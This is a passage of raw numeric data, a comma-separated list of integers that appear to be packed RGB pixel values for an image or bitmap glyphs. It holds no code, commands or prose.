0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,102,11993087,16777215,11953664,0,3838171,16777215,16758374,0,0,6731519,16777179,9474230,16777215,16767888,3801088,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,0,0,3827382,16777215,16777179,9452032,58,9493503,16777215,16758374,0,0,102,11993087,16777215,14408703,16777179,9452032,0,0,102,11993087,16777215,11953664,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,3816080,11993087,16777215,16767888,3801088,0,0,6731519,16777215,14389306,0,0,0,14950,11993087,16777215,14389306,0,6731519,16777215,16767926,9463354,3815994,3815994,3816080,11993087,16777142,6684672,0,0,6731519,16777215,16767926,9463354,3815994,3815994,3816080,11993087,16777142,6684672,0,0,6731519,16777215,16767926,9463354,3815994,3815994,3816080,11993087,16777142,6684672,0,0,6731519,16777215,16767926,9463354,3815994,3815994,3816080,11993087,16777142,6684672,0,0,6731519,16777215,16767926,9463354,3815994,3815994,3816080,11993087,16777142,6684672,0,0,6731519,16777215,16767926,9463354,3815994,3815994,3816080,11993087,16777142,6684672,0,3838171,16777215,16758374,3801088,0,6731519,16777215,14408630,11974326,11974326,11974326,11974288,3801088,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,6731519,16777215,16767926,11974326,11974326,11974326,11974326,11974326,11974326,11964518,3801088,0,6731519,16777215,16767926,11974326,11974326,11974326,11974326,11974326,11974326,11964518,3801088,0,6731519,16777215,16767926,11974326,11974326,11974326,11974326,11974326,11974326,11964518,3801088,0,6731519,16777215,16767926,11974326,11974326,11974326,11974326,11974326,11974326,11964518,3801088,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,58,9493503,16777215,11953664,0,0,0,0,14992,14417919,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,3801088,0,0,0,0,0,0,3838171,16777215,16758374,14992,14417919,11953664,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,102,11993087,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,102,11993087,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,102,11993087,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,102,11993087,16777215,11953664,0,0,0,58,9493503,16777215,11953664,0,6731519,16777215,11953664,0,0,0,26294,16777215,16777142,6684672,0,0,0,58,9493503,16777215,11953664,0,0,58,9493503,16777215,11953664,0,6731519,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,14389306,0,58,9493503,16777142,6684672,0,0,0,0,0,0,0,3838171,16777142,6684672,26294,16777215,16767888,3801088,0,14950,6699520,0,0,3838171,16777215,11953664,0,58,9493503,16777142,9474267,16777215,16758374,0,0,0,26294,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,14992,14417919,14389306,0,0,14992,14417919,14389306,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,58,6731483,16777215,16777179,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,3838171,16777215,16758374,0,0,0,0,14992,14417919,16777142,6684672,0,3838171,16777215,16758374,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,58,9493503,16777215,14389306,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,14950,11983871,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827344,11983871,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777142,6684672,26294,16777215,16777215,16767963,16777179,14408703,16777142,6684672,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,26294,16777215,16767888,3801088,0,0,0,0,6731519,16777215,16758374,0,3838171,16777215,16777179,9452032,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,3838171,16777215,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,6731519,16777215,16767888,3801088,0,0,0,58,9493503,16777179,9452032,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,3838171,16777215,16758374,0,0,3838171,16777215,16758374,0,0,0,26294,16777215,16777179,9452032,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,0,14992,14417919,14408667,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,3838171,16777215,14389306,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16767888,3801088,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,3838171,16777215,14389350,11993087,14389306,14992,14417883,9463440,14417919,16767888,3801088,0,0,14992,14417919,16777142,6684672,0,6731519,16777215,14389306,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,0,26294,16777215,16767888,3801088,0,0,0,3838171,16777215,16767888,3801088,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,58,9493503,16777215,14389306,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,58,9493503,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,102,11993087,16777215,14389306,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777179,9452032,0,0,0,14992,14417919,16777179,9452032,58,9493503,16777215,14389306,0,0,0,0,6731519,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,3838171,16777215,14389306,14992,14417919,16767888,3801088,0,0,0,3838171,16777215,14389392,11993051,9452032,14992,14417846,6710966,16777215,14389306,0,0,0,0,26294,16777215,16767926,9484031,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,102,11993087,16777179,9452032,0,0,0,0,102,11993087,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,26294,16777215,16777179,9452032,58,9493503,14389306,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,26294,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,14906,6710886,6710886,6710928,11983871,16777179,11964518,6710886,6710886,6699578,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,3816038,11983835,16777215,16777215,16777215,16777215,16767926,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16758374,0,0,3827302,6710886,6710886,6699578,3827382,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16767888,3801088,0,3838171,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,58,6721718,11974326,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16758374,58,3815994,0,0,58,3815994,3827382,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,102,11993087,16777215,11953664,0,0,0,0,0,6731519,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731483,16777215,16767888,3801088,0,3838171,16777215,16767926,6684672,0,0,26294,11953722,0,0,58,9493503,16767888,3801146,9493503,16758374,0,0,26294,11953722,0,0,0,0,0,0,6731519,16777179,9452032,0,26294,11964474,0,0,58,9493503,16767888,3801146,9493503,16758374,0,0,0,0,58,6721755,16777215,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,3838171,16777215,16777179,9452032,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,3838171,16777215,16777142,6684672,0,3838171,16777215,16758374,0,0,14992,14417919,14408667,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,26294,16777215,16777179,9452032,0,0,58,9493503,16777215,14399078,0,0,6731519,16777215,16777215,16758374,0,0,0,26294,16777215,16777142,6684672,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16767888,3801088,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16767888,3801088,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16767888,3801088,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,6731519,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801190,11993087,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,102,11993087,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,102,11993087,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,102,11993087,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,102,11993087,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,102,11993087,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,58,9493503,16777179,9452032,0,0,6731519,16777215,16758374,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,6731519,16777215,14389306,0,0,0,0,3838171,16777215,16767888,3801088,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,0,26294,16777215,16777142,11983871,16758374,0,0,6731519,16777215,16758374,0,0,3838171,16777215,16758374,0,0,0,14992,14417919,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,14992,14417919,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,14992,14417919,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,3838171,16777215,16758374,102,11993087,16777179,9452032,0,0,0,26294,16777215,16777179,9452032,0,0,0,14992,14417919,16777179,9452032,0,0,0,3838171,16777215,16758374,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,11953664,0,102,11993087,16767888,3801088,0,0,0,3827382,11953722,3801088,0,3838171,16777142,6699622,9493503,16777215,16758374,0,0,0,0,0,0,26294,16777215,14389306,0,102,11993087,16767888,3816080,14417919,16777179,9452032,0,0,58,9484031,16777215,16777215,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,3838171,1677721